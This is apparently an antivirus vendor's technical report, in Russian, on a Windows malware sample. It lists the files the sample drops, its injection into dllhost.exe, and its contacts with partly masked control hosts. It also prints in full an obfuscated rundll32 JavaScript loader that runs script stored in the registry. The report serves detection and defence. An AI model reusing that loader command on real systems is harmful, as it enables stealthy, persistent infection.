Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '<Полный путь к вирусу>:0'
- '%TEMP%\WindowsXP-KB968930-x86-ENG.exe' /quiet /norestart
- '%TEMP%\WindowsXP-KB968930-x86-ENG.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '<SYSTEM32>\rundll32.exe' javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDS]]dmtje]]|84f81:fb.6e:4.5c3f.ccc1.::c8:49eb:f5~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);})) -Embedding
- '<SYSTEM32>\wbem\wmiadap.exe' /R /T
- '<SYSTEM32>\dllhost.exe'
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\dllhost.exe
Изменения в файловой системе:
Создает следующие файлы:
- <Полный путь к вирусу>:0
- %TEMP%\WindowsXP-KB968930-x86-ENG.exe
Удаляет следующие файлы:
- %TEMP%\WindowsXP-KB968930-x86-ENG.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\WindowsXP-KB968930-x86-ENG[1].exe
Самоудаляется.
Сетевая активность:
Подключается к:
- '41##e1.com':80
- '31.##4.192.80':80
- '31.##4.192.177':80
- 'localhost':1037
- '1e##ff.com':80
- '20#.#6.232.182':80
TCP:
Запросы HTTP GET:
- 20#.#6.232.182/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
Запросы HTTP POST:
- 31.##4.192.80/q
- 31.##4.192.177/q
- 1e##ff.com/q
- 41##e1.com/q
UDP:
- DNS ASK 41##e1.com
- DNS ASK do#####d.microsoft.com
- DNS ASK 1e##ff.com
